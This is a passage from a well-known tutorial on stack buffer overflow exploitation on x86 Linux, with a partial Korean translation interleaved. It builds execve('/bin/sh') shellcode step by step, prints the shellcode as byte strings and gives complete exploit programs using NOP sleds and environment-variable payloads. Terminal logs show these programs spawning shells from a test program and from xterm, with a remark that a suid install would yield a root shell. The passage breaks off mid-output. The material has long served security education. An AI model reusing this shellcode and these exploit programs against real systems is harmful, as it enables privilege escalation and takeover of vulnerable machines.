is: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. But what if the execve() call fails for some reason? The program will continue fetching instructions from the stack, which may contain random data! The program will most likely core dump. We want the program to exit cleanly if the execve syscall fails. To accomplish this we must then add a exit syscall after the execve syscall. What does the exit syscall looks like? exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ The exit syscall will place 0x1 in EAX, place the exit code in EBX, and execute "int 0x80". That's it. Most applications return 0 on exit to indicate no errors. We will place 0 in EBX. Our list of steps is now: a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. h) Copy 0x1 into the EAX register. i) Copy 0x0 into the EBX register. j) Execute the int $0x80 instruction. Trying to put this together in assembly language, placing the string after the code, and remembering we will place the address of the string, and null word after the array, we have: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------ The problem is that we don't know where in the memory space of the program we are trying to exploit the code (and the string that follows it) will be placed. One way around it is to use a JMP, and a CALL instruction. The JMP and CALL instructions can use IP relative addressing, which means we can jump to an offset from the current IP without needing to know the exact address of where in memory we want to jump to. If we place a CALL instruction right before the "/bin/sh" string, and a JMP instruction to it, the strings address will be pushed onto the stack as the return address when CALL is executed. All we need then is to copy the return address into a register. The CALL instruction can simply call the start of our code above. Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) top of bottom of stack stack With this modifications, using indexed addressing, and writing down how many bytes each instruction takes our code looks like: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ Calculating the offsets from jmp to call, from call to popl, from the string address to the array, and from the string address to the null long word, we now have: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ Looks good. To make sure it works correctly we must compile it and run it. But there is a problem. Our code modifies itself, but most operating system mark code pages read-only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment. We need first a hex representation of the binary code. Lets compile it first, and then use gdb to obtain it. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ It works! But there is an obstacle. In most cases we'll be trying to overflow a character buffer. As such any null bytes in our shellcode will be considered the end of the string, and the copy will be terminated. There must be no null bytes in the shellcode for the exploit to work. Let's try to eliminate the bytes (and at the same time make it smaller). Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Our improved code: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ And our new test program: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Writing an Exploit ~~~~~~~~~~~~~~~~~~ (or how to mung the stack) ~~~~~~~~~~~~~~~~~~~~~~~~~~ Lets try to pull all our pieces together. We have the shellcode. We know it must be part of the string which we'll use to overflow the buffer. We know we must point the return address back into the buffer. This example will demonstrate these points: 자, 이제 모든 조각들을 합쳐보자. 우리는 쉘코드를 가지고 있고, 그것이 버퍼를 오버플로 시키기 위하여 사용될 문자열이어야 함을 알고 있다. 또한, 우리는 리턴 주소가 버퍼를 가리키도록 해야함을 알고 있다. 이 예제는 이러한 점들을 보여 줄 것이다. overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ What we have done above is filled the array large_string[] with the address of buffer[], which is where our code will be. Then we copy our shellcode into the beginning of the large_string string. strcpy() will then copy large_string onto buffer without doing any bounds checking, and will overflow the return address, overwriting it with the address where our code is now located. Once we reach the end of main and it tried to return it jumps to our code, and execs a shell. 위에서 우리가 한 것은 배열 large_string[]에 우리의 코드가 들어갈 buffer[]의 주소로 채워 넣었다. 그리고나서 쉘 코드를 large_string 문자열의 시작으로 복사하였다. strcpy() 함수는 large_string을 어떠한 경계 검사도 하지 않고 buffer로 복사할 것이다. 당연히, 이것은 리턴 주소까지 넘쳐서 리턴주소를 우리가 위치시켜둔 코드의 주소로 오버라이트할 것이다. 일단 main의 끝에 도달하기만 하면, 프로그램은 우리의 코드로 점프할 것이고, 쉘을 실행하게 될 것이다. The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be. The answer is that for every program the stack will start at the same address. Most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. Therefore by knowing where the stack starts we can try to guess where the buffer we are trying to overflow will be. Here is a little program that will print its stack pointer: 다른 프로그램의 버퍼를 오버플로 하려고 할때 우리가 당면하는 문제는 버퍼가 위치한 주소(우리의 코드가 위치할 주소)를 알아내는 것이다. 해답은 모든 프로그램은 같은 주소에서 스택이 시작할거라는 것이다. 대부분의 프로그램은 한 번에 스택에 수백 혹은 수천 바이트를 푸시하지는 않는다. 그러므로, 스택의 시작 위치만 알게 된다면, 오버플로 시킬 버퍼의 위치를 추측해 볼 수 있다. 다음은 스택 포인터를 출력하는 작은 프로그램이다. sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Lets assume this is the program we are trying to overflow is: 이 프로그램은 우리가 오버플로를 시험하기 위한 것이다. vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ We can create a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). We'll put the overflow string in an environment variable so it is easy to manipulate: 이제 인자로 버퍼 사이즈와 스택 포인터(오버플로가 일어나기를 원하는 버퍼가 있는 위치)로부터 오프셋을 가지는 프로그램을 작성하였다. 간단히 다루기 위해 오버플로 문자열을 환경 변수에 놓았다. exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Now we can try to guess what the buffer and offset should be: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ As we can see this is not an efficient process. Trying to guess the offset even while knowing where the beginning of the stack lives is nearly impossible. We would need at best a hundred tries, and at worst a couple of thousand. The problem is we need to guess *exactly* where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction. One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. Almost all processors have a NOP instruction that performs a null operation. It is usually used to delay execution for purposes of timing. We will take advantage of it and fill half of our overflow buffer with them. We will place our shellcode at the center, and then follow it with the return addresses. If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code. In the Intel architecture the NOP instruction is one byte long and it translates to 0x90 in machine code. Assuming the stack starts at address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the new stack would look like this: 우리가 본 이것은 그다지 효율적이지는 않다. 스택의 시작 위치를 알고 있다고 하더라도 오프셋을 추측하기란 거의 블가능하다. 그러나, 기껏해야 100번 정도 최악의 경우 몇 천번정도 일 것이다. 문제는 우리의 코드가 시작할 주소를 정확히 추측해야할 필요가 있다는 것이다. 기껏 한 두 바이트씩 증감시켜서는 계속해서 세그먼트 침해 혹은 무효 명령이라는 메시지만 만나게 될 것이다. 가능성을 높일 수 있는 한가지 방법은 오버플로 버퍼 앞에다가 NOP 명령을 끼워넣는 것이다. 거의 모든 프로세스는 아무 동작도 수행하지 않는 NOP와 같은 명령을 가지고 있다. 이것은 대개 타이밍을 맞추기 위한 목적으로 실행을 연기시키는데 주로 사용된다. 우리는 이것을 이용해서 오버플로 버퍼의 절반을 채워넣는데 이용할 것이다. 중간에는 쉘코드를 넣고, 그 다음에는 리턴 주소를 넣을 것ㅇ이다. 다행히도 운이 좋아서, 리턴 주소가 NOP 문자열이 있는 어딘가 를 가리킨다면 우리 코드를 실행시킬때 까지 그것들을 실행할 것이다. Intel 아키텍쳐에서 NOP 명령은 한 바이트 길이이고, 기계어로 0x90으로 변환된다. 스택은 0xFF로 시작하고, S는 쉘 코드를 나타내며, N은 NOP 명령을 나타낸다고 가정하면, 새로운 스택은 다음과 같이 보일 것이다. bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack stack The new exploits is then: exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's try to overflow our test program with our new exploit: 버퍼 크기를 위한 좋은 선택은 오버플로 시킬려는 버퍼의 크기보다 약 100 바이트 크게 하는 것이다. 이것은 많은 공간을 NOP로 채웠기 때문에, 우리의 코드를 오버플로 시키려는 버퍼의 끝에 위치 시키게 할 것이다. 그러나, 여전히 우리가 리턴 주소를 추측한 주소로 오버라이트할 것이다. 우리가 오버플로 하려는 버버는 512 바이트 길이이고 따라서 612를 사용하면 될 것이다. 이제 새로운 exploit로 테스트 프로그램을 오버플로 시켜보자. ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Whoa! First try! This change has improved our chances a hundredfold. Let's try it now on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow on the Xt library. For our example, we'll use xterm (all programs linked with the Xt library are vulnerable). You must be running an X server and allow connections to it from the localhost. Set your DISPLAY variable accordingly. 와우! 첫번째 시도에! 이러한 변화는 우리의 기회를 100배나 향상시켰다. 이제 버퍼 오버플로의 실제에 대해서 배워보자. 이제 Xt 라이브러리를 대상으로 버퍼 오버플로를 시연해 보일 것이다. 예로서, xterm(Xt libarary와 링크된 모든 프로그램들은 침투가능하다)을 사용할 것이다. 여러분은 X 서버를 실행 중이고 로컬 호스트로부터 연결 가능해야 한다. 또한, DISPLAY 변수를 적당히 설정해야 한다. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "�^1짦F � �V �1ㅨ@ㅸ����/bin/sh��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘� �엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘 ��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘��엘���엘��엘��엘��엘� ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "�^1짦F � �V �1ㅨ@ㅸ����/bin/sh��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥� �풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥 ��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��� H��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥�� 풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥��풥�� Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "�^1짦F � �V �1ㅨ@ㅸ����/bin/sh��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲� �풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲 ��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��� T��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲�� 풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲��풲�� Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Eureka! Less than a dozen tries and we found the magic numbers. If xterm where installed suid root this would now be a root shell. 야호! 12번도 안되는 시도로 우리는 마술의 수를 찾고 말았다. suid root로 인스톨된 xterm이 있다면, 이제 root shell을 얻은 것이다. Small Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~ There will be times when the buffer you are trying to overflow is so small that either the shellcode wont fit into it, and it will overwrite the return address with instructions instead of the address of our code, or the number of NOPs you can pad the front of the string with is so small that the chances of guessing their address is minuscule. To obtain a shell from these programs we will have to go about it another way. This particular approach only works when you have access to the program's environment variables. 때로는 오버플로 하려는 버퍼가 너무 작아서 쉘 코드를 끼워넣을 수 없는 경우가 있을 것이다. 즉, 우리의 코드의 주소 대신에 명령으로 리턴 주소를 오버라이트 하거나 혹은, 문자열의 앞 부분에 채워넣을 수 있는 NOP의 개수가 너무 작아 주소를 추측할 가능성이 아주 작을 수도 있다. 이러한 프로그램으로 부터 쉘을 얻기 위해서는 다른 방법을 모색해야 할 것이다. 이러한 특별한 접근 방법은 단지 여러분이 그 프로그램의 환경변수에 접근할 수 있을 때만 동작한다. What we will do is place our shellcode in an environment variable, and then overflow the buffer with the address of this variable in memory. This method also increases your changes of the exploit working as you can make the environment variable holding the shell code as large as you want. 우리가 해야할 일은 쉘코드를 환경변수에 놓는 것이다. 그리고 나서, 메모리에 이 변수의 주소를 가진 버퍼를 오버플로 하는 것이다. 이 방법은 또한 여러분이 원하는 만큼의 큰 쉘 코드를 가지는 환경 변수를 만들수 있기 때문에 exploit 작업의 가능성을 높여 준다. The environment variables are stored in the top of the stack when the program is started, any modification by setenv() are then allocated elsewhere. The stack at the beginning then looks like this: 환경 변수는 프로그램이 시작될 때 스택의 꼭대기에 저장된다. setenv()에 의해 수정되면 어디든지 할당된다. 시작시에 스택은 다음과 같은 모습이다. NULLNULL Our new program will take an extra variable, the size of the variable containing the shellcode and NOPs. Our new exploit now looks like this: 우리의 새로운 프로그램은 하나의 임시변수, 쉘코드 및 NOP를 포함하고 있는 변수의 크기를 저장하고 있는 변수,를 가진다. 새로운 exploit는 다음과 같다. exploit4.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Lets try our new exploit with our vulnerable test program: ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ Works like a charm. Now lets try it on xterm: 깔끔하게 동작하는군. xterm에 대해서도 시험해보자. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name 